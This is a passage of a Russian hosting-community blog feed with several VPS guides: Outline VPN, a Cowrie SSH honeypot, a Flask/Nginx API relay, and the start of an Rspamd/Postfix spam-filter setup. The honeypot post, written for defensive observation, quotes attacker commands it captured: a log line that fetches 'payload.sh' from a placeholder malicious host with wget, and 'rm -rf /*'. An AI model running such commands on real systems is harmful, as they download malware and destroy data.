<p><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Скачать можно отсюда: <a href="https://getoutline.org/" target="_blank" rel="noopener">https://getoutline.org/</a></p>



<p>После запуска Outline Manager нажимаем <strong>“Set up Outline Server” → “DigitalOcean or your own server” → “I have my own server”</strong>.</p>



<p>Вводим:</p>



<ul class="wp-block-list">
<li>IP вашего VPS</li>



<li>root-пароль или приватный SSH-ключ</li>
</ul>



<p>Программа сама подключится к серверу и выполнит автоматическую установку Outline VPN. Достаточно подождать 1-2 минуты.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 2. Что делает скрипт установки</h2>



<p>Outline Manager выполняет следующие действия:</p>



<ol class="wp-block-list">
<li>Устанавливает <strong><a href="https://cloudvps.by/community/docs/glossarij/terminy/docker/" data-internallinksmanager029f6b8e52c="258" title="Docker">Docker</a></strong> (если его нет).</li>



<li>Запускает контейнер с Outline Server.</li>



<li>Открывает нужные порты (1984, 1024–65535 <a href="https://cloudvps.by/community/docs/glossarij/terminy/tcp/" data-internallinksmanager029f6b8e52c="222" title="TCP (Transmission Control Protocol)">TCP</a>/<a href="https://cloudvps.by/community/docs/glossarij/terminy/udp/" data-internallinksmanager029f6b8e52c="223" title="UDP (User Datagram Protocol)">UDP</a>).</li>



<li>Создаёт первый <strong>ключ доступа</strong> (Outline Access Key) — это специальная ссылка, которую можно использовать для подключения к серверу.</li>
</ol>



<p>Пример ссылки:</p>



<pre class="wp-block-code"><code>ss://Y2hhY2hhMjAtaWV0ZjowZGVhZ...@203.0.113.123:12345/?outline=1
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 3. Подключение клиента Outline VPN</h2>



<p>Теперь, когда сервер настроен, нам нужно установить <strong>Outline Client</strong> на устройстве, с которого вы хотите подключаться (телефон, ноутбук и т. д.).</p>



<p>Скачать клиент можно отсюда:<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://getoutline.org/en/home" target="_blank" rel="noopener">https://getoutline.org/en/home</a></p>



<p>Открываем клиент, вставляем ключ (он будет скопирован автоматически после установки сервера) и нажимаем <strong>Connect</strong>. Всё!</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Частые вопросы и проблемы</h2>



<h3 class="wp-block-heading">Как изменить порт сервера Outline?</h3>



<p>Для этого придётся зайти в Docker-контейнер:</p>



<pre class="wp-block-code"><code>docker exec -it shadowbox bash
</code></pre>



<p>А затем — изменить конфигурацию вручную. Но проще пересоздать сервер с новым портом в Outline Manager.</p>



<h3 class="wp-block-heading">Что делать, если Outline VPN не работает?</h3>



<ul class="wp-block-list">
<li>Убедитесь, что порты <strong>1984</strong> и <strong>1024–65535</strong> открыты в фаерволе.</li>



<li>Попробуйте перезапустить контейнер:</li>
</ul>



<pre class="wp-block-code"><code>docker restart shadowbox
</code></pre>



<h3 class="wp-block-heading">Подходит ли Outline VPN для обхода блокировок?</h3>



<p>Да, и именно в этом его сила. Протокол Shadowsocks хорошо маскируется под обычный трафик. Особенно эффективен при использовании с IP-адресами из Европы (например, Германия или Финляндия).</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Полезные команды</h2>



<p>Проверка, что контейнер запущен:</p>



<pre class="wp-block-code"><code>docker ps
</code></pre>



<p>Перезапуск сервера:</p>



<pre class="wp-block-code"><code>docker restart shadowbox
</code></pre>



<p>Просмотр логов:</p>



<pre class="wp-block-code"><code>docker logs shadowbox
</code></pre>



<p>Удаление сервера Outline:</p>



<pre class="wp-block-code"><code>docker stop shadowbox &amp;&amp; docker rm shadowbox
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Таблица: сравнение Outline и других VPN</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Характеристика</th><th>Outline VPN</th><th>OpenVPN</th><th>WireGuard</th></tr></thead><tbody><tr><td>Установка</td><td>Очень простая</td><td>Средняя</td><td>Продвинутая</td></tr><tr><td>Клиенты</td><td>Все платформы</td><td>Все платформы</td><td>Все платформы</td></tr><tr><td>Протокол</td><td>Shadowsocks</td><td>OpenVPN</td><td>WireGuard</td></tr><tr><td>Скорость</td><td>Высокая</td><td>Средняя</td><td>Очень высокая</td></tr><tr><td>Маскировка трафика</td><td>Хорошая</td><td>Плохая</td><td>Средняя</td></tr><tr><td>Управление доступом</td><td>Через GUI</td><td>Вручную</td><td>Вручную</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Создание honeypot-сервера на VPS: ловим злоумышленников</title>
		<link>https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/</link>
					<comments>https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Thu, 04 Sep 2025 13:14:40 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4361</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/">Создание honeypot-сервера на VPS: ловим злоумышленников</a>">%POSTTITLE%</a></p>
<p>В один из вечеров, когда я проверяла логи на своём VPS, я заметила странную активность: десятки попыток входа по SSH с разных IP. Это был не targeted-атак, а обычный background noise интернета — боты сканируют IP в поисках открытых дверей. Тогда я решила: &#8220;А почему бы не посмотреть, что они вообще делают, если им дать [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/">Создание honeypot-сервера на VPS: ловим злоумышленников</a>">%POSTTITLE%</a></p>

<p>В один из вечеров, когда я проверяла логи на своём <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>, я заметила странную активность: десятки попыток входа по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a> с разных <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>. Это был не targeted-атак, а обычный background noise интернета — боты сканируют IP в поисках открытых дверей. Тогда я решила: &#8220;А почему бы не посмотреть, <strong>что они вообще делают</strong>, если им дать иллюзию доступа?&#8221; И так началась моя история с <a href="https://cloudvps.by/community/docs/glossarij/terminy/honeypot/" data-internallinksmanager029f6b8e52c="277" title="Honeypot (Ханипот — ловушка для киберпреступников)">honeypot</a>-сервером на VPS.</p>



<h2 class="wp-block-heading">Что такое honeypot и зачем он нужен?</h2>



<p><strong>Honeypot (ханипот)</strong> — это специальный сервер или сервис, который имитирует уязвимую систему, чтобы привлечь злоумышленников. Это как ловушка, которая вместо того, чтобы прятаться, наоборот — говорит: &#8220;Эй, зайди, здесь открыто&#8221;. Цель — не допустить атакующего в настоящую инфраструктуру, а <strong>наблюдать, как он себя поведёт</strong>, какие команды вводит, что ищет, какие эксплойты применяет.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Honeypot это не только для фана. Он может:</p>



<ul class="wp-block-list">
<li>Помочь выявить типичные методы атаки</li>



<li>Собрать данные для защиты основной инфраструктуры</li>



<li>Повысить навыки анализа инцидентов</li>



<li>В ряде случаев — отпугнуть неопытных злоумышленников</li>
</ul>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Почему я выбрала VPS для honeypot</h2>



<p>Настройка honeypot на домашнем сервере — занятие интересное, но ограниченное: IP не всегда белый, провайдер может заблокировать <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">порт</a> 22. А вот VPS — идеальный кандидат:</p>



<ul class="wp-block-list">
<li>Статичный белый IP</li>



<li>Полный <a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a></li>



<li>Можно легко изолировать сервер от продакшена</li>



<li>Стоит недорого (особенно если взять <strong>самый <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a> <a href="https://cloudvps.by/community/docs/glossarij/terminy/vds/" data-internallinksmanager029f6b8e52c="196" title="VDS (Virtual Dedicated Server)">VDS</a></strong>, например, как у Timeweb или CloudVPS)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Выбор инструмента: Cowrie или T-Pot?</h2>



<p>Для начала я рассматривала разные варианты honeypot’ов. Самые популярные на сегодня:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Honeypot</th><th>Что имитирует</th><th>Сложность установки</th><th>Особенности</th></tr></thead><tbody><tr><td>Cowrie</td><td>SSH, Telnet</td><td>Средняя</td><td>Собирает команды, IP, даже имена файлов</td></tr><tr><td>T-Pot</td><td>Множественные протоколы</td><td>Высокая</td><td>Готовый стек honeypot’ов, красивая визуализация</td></tr><tr><td>Kippo (устарел)</td><td>SSH</td><td>Низкая</td><td>Предшественник Cowrie</td></tr><tr><td>Honeyd</td><td>Сетевой трафик</td><td>Сложная</td><td>Эмуляция разных ОС, на уровне <a href="https://cloudvps.by/community/docs/glossarij/terminy/tcp/" data-internallinksmanager029f6b8e52c="222" title="TCP (Transmission Control Protocol)">TCP</a>/IP</td></tr></tbody></table></figure>



<p>Я остановилась на <strong>Cowrie</strong>, потому что он прост, работает на Python, легко логирует всё в текст, и его легко обновлять. А главное — идеально подходит для <strong>SSH honeypot</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка Cowrie honeypot на VPS: пошагово</h2>



<h4 class="wp-block-heading">1. Настроить изолированную среду</h4>



<p>Я создала новый VPS (на Ubuntu 22.04), отключила все ненужные порты, кроме 22, и&#8230; перенесла реальный SSH на порт 2222:</p>



<pre class="wp-block-code"><code>sudo nano /etc/ssh/sshd_config
# Меняем:
Port 2222
sudo systemctl restart ssh
</code></pre>



<p>Теперь порт 22 свободен — туда и посадим ловушку.</p>



<h4 class="wp-block-heading">2. Установка зависимостей:</h4>



<pre class="wp-block-code"><code>sudo apt update
sudo apt install git python3-venv libssl-dev libffi-dev build-essential libpython3-dev -y
</code></pre>



<h4 class="wp-block-heading">3. Клонирование Cowrie:</h4>



<pre class="wp-block-code"><code>git clone <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt
</code></pre>



<h4 class="wp-block-heading">4. Настройка и запуск:</h4>



<pre class="wp-block-code"><code>cp etc/cowrie.cfg.dist etc/cowrie.cfg
# В конфиге можно изменить фейковые логины/пароли, логирование и т.д.
bin/cowrie start
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что я узнала за первую неделю</h2>



<p>Через сутки после запуска honeypot начал собирать логины:</p>



<ul class="wp-block-list">
<li>admin / admin</li>



<li>root / toor</li>



<li>user / 123456</li>
</ul>



<p>Боты пытались установить майнеры, качать скрипты с Pastebin, делать <code>curl</code> и <code>wget</code> на IP-шники из азиатских подсетей. Один &#8220;гость&#8221; даже ввёл <code>rm -rf /*</code> — забавно, ведь Cowrie перехватывает такие команды, не давая им навредить.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Как логируются команды</h2>



<p>Cowrie записывает всё в <code>var/log/cowrie</code>:</p>



<ul class="wp-block-list">
<li><code>cowrie.log</code> — общие события</li>



<li><code>tty/</code> — эмуляция терминала (прямо как видеозапись)</li>



<li><code>downloads/</code> — файлы, которые пытались загрузить</li>
</ul>



<p>Вот пример команды злоумышленника:</p>



<pre class="wp-block-code"><code>2025-08-14T21:53:12+0000 &#91;SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,521,10.9.6.22] CMD: wget http://malicious-ip/payload.sh
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Безопасность honeypot-сервера</h2>



<p>Чтобы honeypot не стал сам жертвой:</p>



<ul class="wp-block-list">
<li>Я установила <code>iptables</code> и разрешила только порты 22, 2222</li>



<li>Отключила исходящие соединения через <code>ufw deny out</code></li>



<li>Настроила ежедневную очистку логов через <code>logrotate</code></li>



<li>В случае взлома — VPS можно просто пересоздать</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Можно ли ловить DDoS или ботнеты?</h2>



<p>На мой взгляд — <strong>не стоит пытаться перехватить ботнеты или вмешиваться в работу атакующих</strong>. Honeypot — это наблюдательный инструмент, а не платформа для &#8220;контратак&#8221;. Лучше просто сохранять информацию, изучать поведение и повышать защиту.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Итого: стоит ли запускать honeypot на VPS?</h2>



<p>Если вы интересуетесь безопасностью, хотите научиться <strong>анализировать атаки</strong>, работать с логами и понять, как выглядят &#8220;черные&#8221; сканеры интернета — да, стоит. Это дешево, увлекательно и очень познавательно.</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Как использовать VPS как API-ретранслятор (Flask + Nginx)</title>
		<link>https://cloudvps.by/community/kak-ispolzovat-vps-kak-api-retranslyator-flask-nginx/</link>
					<comments>https://cloudvps.by/community/kak-ispolzovat-vps-kak-api-retranslyator-flask-nginx/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Thu, 28 Aug 2025 15:09:53 +0000</pubDate>
				<category><![CDATA[Автоматизация]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4329</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/kak-ispolzovat-vps-kak-api-retranslyator-flask-nginx/">Как использовать VPS как API-ретранслятор (Flask + Nginx)</a>">%POSTTITLE%</a></p>
<p>Бывает, что нужно спрятать основной API, разнести нагрузку или просто построить надёжный промежуточный слой между клиентом и основным сервисом. В одном из таких случаев я подняла VPS как API-ретранслятор с использованием Flask и Nginx. Расскажу, как я это делала, на реальном примере. Писать буду, как всегда, от души и по-человечески — без заумностей, но с [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/kak-ispolzovat-vps-kak-api-retranslyator-flask-nginx/">Как использовать VPS как API-ретранслятор (Flask + Nginx)</a>">%POSTTITLE%</a></p>

<p>Бывает, что нужно спрятать основной <a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">API</a>, разнести нагрузку или просто построить надёжный промежуточный слой между клиентом и основным сервисом. В одном из таких случаев я подняла <strong><a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> как API-ретранслятор</strong> с использованием <strong>Flask</strong> и <strong>Nginx</strong>. Расскажу, как я это делала, на реальном примере. Писать буду, как всегда, от души и по-человечески — без заумностей, но с практикой.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Когда и зачем нужен API-ретранслятор</h2>



<p>Я впервые начала использовать VPS как API-<a href="https://cloudvps.by/community/docs/glossarij/terminy/proxy-server/" data-internallinksmanager029f6b8e52c="210" title="Proxy Server (Прокси-сервер)">прокси</a>, когда у клиента был закрытый внутренний API, а мобильное приложение требовало открытой точки входа. Основные задачи были:</p>



<ul class="wp-block-list">
<li>защитить основной API от перегрузки;</li>



<li>добавить промежуточную авторизацию;</li>



<li>кэшировать часть запросов;</li>



<li>логировать трафик.</li>
</ul>



<p>Проще всего в таких случаях использовать связку <strong>Flask</strong> + <strong>Nginx</strong>. Flask — для обработки логики, авторизации, ограничения доступа и пр., Nginx — для балансировки и отдачи статики, если надо.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 1: Готовим VPS</h2>



<p>Я взяла обычный <strong>VPS на Ubuntu 22.04</strong>, 1 vCPU, 1 ГБ RAM — больше не надо. Убедитесь, что установлен Python:</p>



<pre class="wp-block-code"><code>python3 --version
</code></pre>



<p>Если нет — ставим:</p>



<pre class="wp-block-code"><code>sudo apt update
sudo apt install python3 python3-pip
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 2: Пишем Flask-приложение</h2>



<p>Создаём минимальный прокси-сервер на Flask. Пусть он просто принимает запросы и пересылает их дальше:</p>



<pre class="wp-block-code"><code>from flask import Flask, request, jsonify
import requests

app = Flask(__name__)
UPSTREAM_API = '<a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://api.example.com'

@app.route('/api/&lt;path:path&gt;', methods=&#91;'GET', 'POST'])
def proxy(path):
    headers = dict(request.headers)
    if request.method == 'GET':
        r = requests.get(f"{UPSTREAM_API}/{path}", headers=headers, params=request.args)
    else:
        r = requests.post(f"{UPSTREAM_API}/{path}", headers=headers, data=request.data)
    return (r.content, r.status_code, r.headers.items())

if __name__ == '__main__':
    app.run(host='127.0.0.1', <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">port</a>=5000)
</code></pre>



<p>Сохраняем как <code>app.py</code> и запускаем:</p>



<pre class="wp-block-code"><code>python3 app.py
</code></pre>



<p>Можно протестировать запросом:</p>



<pre class="wp-block-code"><code>curl http://localhost:5000/api/<a href="https://cloudvps.by/community/docs/glossarij/terminy/ping/" data-internallinksmanager029f6b8e52c="326" title="Ping">ping</a>
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 3: Настройка Gunicorn + systemd</h2>



<p>Чтобы Flask работал как сервис, поднимаем его через Gunicorn:</p>



<pre class="wp-block-code"><code>pip3 install gunicorn
gunicorn -w 2 -b 127.0.0.1:5000 app:app
</code></pre>



<p>Теперь добавим systemd-сервис:</p>



<pre class="wp-block-code"><code>sudo nano /etc/systemd/system/flask-proxy.service
</code></pre>



<pre class="wp-block-code"><code>&#91;Unit]
Description=Flask Proxy Service
After=network.target

&#91;Service]
User=<a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root</a>
WorkingDirectory=/root
ExecStart=/usr/bin/gunicorn -w 2 -b 127.0.0.1:5000 app:app
Restart=always

&#91;Install]
WantedBy=multi-user.target
</code></pre>



<p>Активируем:</p>



<pre class="wp-block-code"><code>sudo systemctl daemon-reexec
sudo systemctl enable flask-proxy
sudo systemctl start flask-proxy
</code></pre>



<p>Проверяем:</p>



<pre class="wp-block-code"><code>sudo systemctl status flask-proxy
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 4: Настройка Nginx</h2>



<p>Теперь всё направим через Nginx. Устанавливаем:</p>



<pre class="wp-block-code"><code>sudo apt install nginx
</code></pre>



<p>Добавляем конфиг:</p>



<pre class="wp-block-code"><code>sudo nano /etc/nginx/sites-available/flask-proxy
</code></pre>



<pre class="wp-block-code"><code>server {
    listen 80;
    server_name your.domain.com;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-<a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a> $remote_addr;
    }
}
</code></pre>



<p>Активируем:</p>



<pre class="wp-block-code"><code>sudo ln -s /etc/nginx/sites-available/flask-proxy /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl reload nginx
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Как я использую эту схему</h2>



<p>Я запускала такую прокси-связку для:</p>



<ul class="wp-block-list">
<li><strong>ретрансляции запросов к Telegram API</strong>, скрывая токен;</li>



<li><strong>добавления кэширования</strong> на уровне Flask + Redis;</li>



<li><strong>ограничения скорости и логирования</strong> через custom middleware.</li>
</ul>



<p>Однажды это реально спасло прод — основной API упал, а я быстро подменила <code>UPSTREAM_API</code> в Flask на резервный адрес. Клиенты даже не заметили.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Примеры задач, где работает идеально:</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Задача</th><th>Решается ретранслятором</th></tr></thead><tbody><tr><td>Скрытие приватного API</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Да</td></tr><tr><td><a href="https://cloudvps.by/community/docs/glossarij/terminy/caching/" data-internallinksmanager029f6b8e52c="272" title="Caching (Кэширование)">Кэширование</a> на уровне запроса</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Да</td></tr><tr><td>Добавление авторизации</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Да</td></tr><tr><td>Балансировка нагрузки</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Только через Nginx</td></tr><tr><td>Защита от DDoS</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Лучше использовать <a href="https://cloudvps.by/community/docs/glossarij/terminy/cloudflare/" data-internallinksmanager029f6b8e52c="320" title="Cloudflare">Cloudflare</a></td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что можно улучшить</h2>



<ul class="wp-block-list">
<li><strong>Подключить HTTPS через <a href="https://cloudvps.by/community/docs/glossarij/terminy/lets-encrypt/" data-internallinksmanager029f6b8e52c="319" title="Let’s Encrypt">Let’s Encrypt</a></strong> — просто и бесплатно.</li>



<li><strong>Добавить Redis для кэша</strong> и ограничения частоты.</li>



<li><strong>Вынести конфиги в .env-файл</strong> — не жёстко хардкодить.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/kak-ispolzovat-vps-kak-api-retranslyator-flask-nginx/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Настройка фильтрации спама через Rspamd и Postfix на VPS: пошаговое руководство</title>
		<link>https://cloudvps.by/community/nastrojka-filtraczii-spama-cherez-rspamd-i-postfix-na-vps/</link>
					<comments>https://cloudvps.by/community/nastrojka-filtraczii-spama-cherez-rspamd-i-postfix-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Thu, 28 Aug 2025 13:42:42 +0000</pubDate>
				<category><![CDATA[Автоматизация]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4325</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-filtraczii-spama-cherez-rspamd-i-postfix-na-vps/">Настройка фильтрации спама через Rspamd и Postfix на VPS: пошаговое руководство</a>">%POSTTITLE%</a></p>
<p>Защита почтового сервера от спама — одна из самых важных задач для любого администратора. Особенно, если вы настраиваете собственный mail-сервер на VPS. В этой статье я расскажу, как я внедрила мощную систему фильтрации спама с помощью Rspamd и Postfix, что учла по ходу настройки и какие нюансы могут подстерегать вас на практике. Зачем нужен антиспам-фильтр? [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-filtraczii-spama-cherez-rspamd-i-postfix-na-vps/">Настройка фильтрации спама через Rspamd и Postfix на VPS: пошаговое руководство</a>">%POSTTITLE%</a></p>

<p><strong>Защита почтового сервера от спама</strong> — одна из самых важных задач для любого администратора. Особенно, если вы настраиваете собственный mail-сервер на <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>. В этой статье я расскажу, как я внедрила мощную систему фильтрации спама с помощью <strong>Rspamd</strong> и <strong>Postfix</strong>, что учла по ходу настройки и какие нюансы могут подстерегать вас на практике.</p>



<h2 class="wp-block-heading">Зачем нужен антиспам-фильтр?</h2>



<p>Если у вас нет защиты, почтовый сервер моментально становится жертвой:</p>



<ul class="wp-block-list">
<li>рассылки спама с вашей стороны (если скомпрометирован аккаунт),</li>



<li>приёма тысяч мусорных писем (если открыт вход),</li>



<li>попадания в блэклисты, после чего письма вообще не доставляются.</li>
</ul>



<p>Поэтому связка <strong>Postfix + Rspamd</strong> — это почти must-have. Особенно если вы хотите избежать сложностей со старыми решениями вроде SpamAssassin. Я пробовала оба варианта — разница в скорости, точности и гибкости просто колоссальная.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Почему Rspamd, а не SpamAssassin?</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Параметр</th><th>Rspamd</th><th>SpamAssassin</th></tr></thead><tbody><tr><td>Скорость</td><td>Высокая, на C языке</td><td>Низкая, на Perl</td></tr><tr><td>Обновления</td><td>Активно поддерживается</td><td>Обновляется медленно</td></tr><tr><td>Расширяемость</td><td>Lua-скрипты, интеграция с Redis</td><td>Ограничена</td></tr><tr><td>UI/Панель управления</td><td>Есть (Web-интерфейс)</td><td>Нет</td></tr><tr><td>Поддержка DKIM/ARC</td><td>Встроена</td><td>Требует сторонние модули</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что нужно для старта?</h2>



<ul class="wp-block-list">
<li>VPS с Linux (у меня — Debian 12, подойдёт и Ubuntu 22.04)</li>



<li>Установленный и настроенный <strong>Postfix</strong> (MTA)</li>



<li>Доступ по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a> с <a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root</a>-доступом</li>



<li>Желание копаться в конфигах <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка Rspamd</h2>



<p>Я ставила Rspamd из официальных репозиториев:</p>



<pre class="wp-block-code"><code># Добавим репозиторий Rspamd
echo "deb &#91;arch=amd64] http://rspamd.com/apt/debian bookworm main" | tee /etc/apt/sources.list.d/rspamd.list
curl -1sLf '<a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://rspamd.com/apt-stable/gpg.key' | apt-key add -

# Установка
apt update &amp;&amp; apt install rspamd redis-server -y
</code></pre>



<p>Rspamd будет использовать Redis для кэширования. Без него часть функций просто не работает — имейте в виду.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Интеграция Rspamd с Postfix</h2>



<p>Самое интересное начинается, когда мы &#8220;вшиваем&#8221; Rspamd в поток почты. Вот основные изменения, которые нужно внести в <strong>/etc/postfix/main.cf</strong>:</p>



<pre class="wp-block-code"><code>smtpd_milters = inet:localhost:11332
non_smtpd_milters = $smtpd_milters
milter_default_action = accept
milter_protocol = 6
</code></pre>



<p>Теперь письма, проходящие через Postfix, будут анализироваться Rspamd до приёма.</p>



